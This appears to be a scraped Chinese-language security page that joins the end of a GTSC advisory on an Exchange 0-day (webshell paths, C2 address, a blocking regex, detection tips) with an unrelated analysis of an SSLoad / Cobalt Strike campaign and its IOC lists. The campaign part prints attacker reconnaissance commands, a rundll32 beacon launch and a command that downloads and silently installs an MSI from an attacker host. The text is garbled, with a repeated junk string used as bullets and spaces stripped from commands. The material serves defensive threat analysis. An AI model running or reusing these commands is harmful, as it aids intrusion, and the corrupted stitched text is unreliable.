https://*:443/ews/web/webconfig/

https://*:443/owa/auth/webcccsd/

https://*:444/ews/auto/

https://*:444/ews/web/api/

Victim 2:

http://*:80/owa/auth/Current/script/

https://*:443/owa/auth/Current/script/

GTSC還檢測到DLL被注入到svchost.exe進程的內存中。 DLL將數據發送和接收連接到二進製文件中固定的地址137[.]184[.]67[.]33中。使用RC4加密算法使用C2發送和接收數據，其中密鑰將在運行時生成。

16.png

臨時緩解措施GTSC的直接事件響應程序已經發現了有1個組織成為利用這一0 day漏洞的攻擊活動的受害者。此外，可能還有許多其他組織被利用，但尚未被發現。在等待正式補丁的同時，GTSC提供了一個臨時緩解措施，通過在IIS服務器上的URL Rewrite rule模塊添加一條規則來阻止帶有攻擊指示器的請求，從而緩解攻擊。

在前端自動發現中，選擇選項卡“URL重寫”，選擇“請求阻止”

17.png

將字符串“.*autodiscover\.json.*\@.*Powershell.*”添加到URL路徑：

18.png

條件輸入：選擇{REQUEST_URI}：

19.png

我們建議全世界正在使用Microsoft Exchange Server的所有組織或企業盡快檢查、審查並應用上述臨時補救措施，以避免潛在的攻擊。

檢測方法為了幫助組織檢查他們的Exchange服務器是否已被此漏洞利用，GTSC發布了掃描IIS日誌文件的指南和工具（默認存儲在%SystemDrive%\inetpub\logs\LogFiles文件夾中）：

方法1：使用powershell命令：

加图4.png

方法2：使用GTSC開發的工具：基於漏洞簽名，我們構建了一個比使用powershell更短的搜索時間的工具。下載鏈接：https://github.com/ncsgroupvn/NCSE0Scanner。

HireHackking

FROZEN#SHADOW 被發現採用了一種新的攻擊活動，該活動利用SSLoad 惡意軟件進行操作，並利用Cobalt Strike Implants 來控制和接管整個網絡。

此外，威脅分子還使用ScreenConnect RMM 等遠程監控和管理軟件進行進一步控制。

SSLoad 是一種精心設計的惡意軟件，可以秘密滲透系統、收集敏感信息，並將收集到的信息洩露給惡意軟件操作者。

此外，該惡意軟件還利用多個後門和有效負載來逃避檢測並保持持久性。

技術分析這種新的攻擊活動從包含惡意鏈接的傳統網絡釣魚電子郵件開始。

當用戶訪問此鏈接時，它會將他們重定向到mmtixmm[.]org URL 到另一個下載站點，在該站點將JavaScript 文件下載到受害者計算機。如果手動執行此JavaScript 文件，它會執行多項操作，在受害者計算機上下載並執行更多有效負載。

這些網絡釣魚電子郵件活動的目標似乎是隨機的，因為受害者分佈在多個國家，包括亞洲、歐洲和美洲。

對惡意軟件的進一步調查表明，攻擊發生在以下不同階段：

马云惹不起马云第1 階段：初始執行– JavaScript

马云惹不起马云第2 階段：MSI 文件執行

马云惹不起马云第3 階段：惡意軟件執行

马云惹不起马云第4 階段：鈷擊執行

马云惹不起马云第5 階段：RMM 軟件和橫向移動

第1 階段：初始執行– JavaScript此初始階段涉及手動執行JavaScript 文件。通過分析JS 文件out_czlrh.js，發現它由97.6% 的註釋代碼組成，其中包含隨機字符以混淆文件。然而，刪除註釋代碼後會發現一段非常清晰的JS 代碼，沒有任何混淆。

image.png

具有多個註釋代碼的JS 文件代碼

在分析JS 代碼時，我們發現JS 文件執行多個操作，首先為WScript.Network 和Scripting.FileSystemObject 創建ActiveXObject 實例。

此後，包含“GetObject(“winmgmts:\\.\root\cimv2”)”的JS 代碼嘗試訪問WMI 對像以進行簡單的命令行操作。

image.png

從JS 代碼中刪除註釋後清理代碼

此外，代碼還設置變量來管理連接嘗試次數並收集網絡共享的連接狀態。

該腳本還將所有可用驅動器映射到位於\wireoneinternet[.]info@80\share\ 的網絡共享。 JS 代碼還通過WMI 執行“net use”命令以正確映射網絡驅動器。

成功完成所有這些步驟後，腳本將構造一個命令，使用msiexec.exe 從映射的網絡驅動器安裝MSI 包(slack.msi)。

第2 階段：MSI 執行此slack.msi 文件與TrickBot 惡意軟件團伙經常使用的BazarBackdoor 類似。該惡意軟件能夠過濾網絡並部署額外的有效負載。但是，執行此slack.msi 文件後，惡意軟件會與多個域進行通信。

马云惹不起马云wireoneinternet[.]info

马云惹不起马云skinnyjeanso[.]com

马云惹不起马云titnovacrion[.]top

马云惹不起马云Maramaravilha[.]com

马云惹不起马云globalsolutionunlimitedltd[.]com此外，只有在此之後，SSLoad 惡意軟件才會下載並執行。

SSLoad 的有效負載由一個半隨機命名的DLL 文件組成，該文件位於%APPDATA%\local\digistamp\mbae-api-na.dll 中。然而，該DLL 由Rundll32.exe 執行，之後DLL 將自身複製到%APPDATA%\Custom_update\。

image.png

第3 階段：惡意軟件執行除了前一階段之外，rundll32.exe 命令的執行還將開始與兩個預配置的C2 服務器通信，即hxxps://skinnyjeanso[.]com/live/和hxxps://titnovacrion[.]top/live/. Following this。此後，惡意軟件開始使用cmd.exe 命令收集本地主機的系統和用戶數據以及域相關信息。

马云惹不起马云exe/cipconfig/all

马云惹不起马云exe/csysteminfo

马云惹不起马云exe/cnltest/domain_trusts

马云惹不起马云exe/cnltest/domain_trusts/all_trusts

马云惹不起马云exe/cnetview/all/domain

马云惹不起马云exe/cnetview/all

马云惹不起马云exe/cnetgroup“domainadmins”/domain

马云惹不起马云exe/cwmic.exe/node:localhost/namespace:\\root\securitycenter2pathantivirusproductget*/format:list

马云惹不起马云exe/cnetconfigworkstation

马云惹不起马云exe/cwmic.exe/node:localhost/namespace:\\root\securitycenter2pathantivirusproductgetdisplayname|findstr/v/b/c:displayname||echonoantivirusinstalled

马云惹不起马云exe/cwhoami/groups然後，這些收集到的信息將通過HTTPS 連接發送到C2 服務器。一旦威脅分子從受感染的系統收到此信息，他們就會在確認該信息來自合法服務器而不是來自蜜罐後開始執行一些手動命令。威脅分子執行的手動命令如下：

马云惹不起马云exe-c“[console]:outputencoding=[console]:inputencoding=[system.text.encoding]:getencoding(‘utf-8’);cdc:\;powershell”

马云惹不起马云exe/groups

马云惹不起马云exegroup“domainadmins”/dom

马云惹不起马云exe/node:localhost/namespace:\\root\securitycenter2pathantivirusproductget*/format:list執行這些命令是為了操縱和探測服務器環境以進行下一階段的惡意軟件活動。

第4 階段：鈷打擊信標此階段的惡意軟件涉及在執行手動命令後在系統上部署Cobalt Strike 信標。一旦部署該信標，它就成為C2 的主要通信手段。但是，該信標將通過rundll32.exe 命令刪除並執行。

马云惹不起马云Rundll32.exeC:\ProgramData\msedge.dll,MONSSMRpgaTQssmrpgatq此外，威脅分子還使用Cobalt Strike 下載並安裝ScreenConnect RMM 軟件實例。

马云惹不起马云exe/cwhoami/groups

马云惹不起马云exe/cwmic/node:localhost/namespace:\\root\securitycenter2pathantivirusproductget*/format:list

马云惹不起马云exe/ciwr-uri“hxxps://t0talwar.screenconnect[.]com/bin/screenconnect.clientsetup.msi?e=accessy=guestc=c=tjx-usa.comc=c=dcc=c=c=c=”-outfilec:\programdata\msedgeview.msi

马云惹不起马云exe/csysteminfo

马云惹不起马云exe/cmsiexec.exe/iC:\ProgramData\Msedgeview.msi/quiet/qn第5 階段：RMM 軟件和橫向移動每個受感染的系統均由ScreenConnect RMM 軟件控制，以保持對系統的完全控制。然而，在此之後，橫向移動將通過獲取憑證和其他關鍵系統詳細信息進行。環境的枚舉是使用多個PowerShell 命令完成的。

執行憑據提取後，他們還可以獲得域管理員帳戶NTLM 哈希。

IOCC2地址85.239.54[.]190

23.159.160[.]88

23.95.209[.]148

45.95.11[.]134

bjSdg0.pintaexoticfashion.co[.]in

l1-03.winupdate.us[.]to

23-95-209-148-host.colocrossing[.]com:443

mmtixmm[.]org

wireoneinternet[.]info

skinnyjeanso[.]com

titnovacrion[.]top

simplyfitphilly[.]com

kasnackamarch[.]info

sokingscrosshotel[.]com

danteshpk[.]com

stratimasesstr[.]com

winarkamaps[.]com

globalsolutionunlimitedltd[.]com

maramaravilha[.]com

krd6[.]com

hxxps://t0talwar.screenconnect[.]com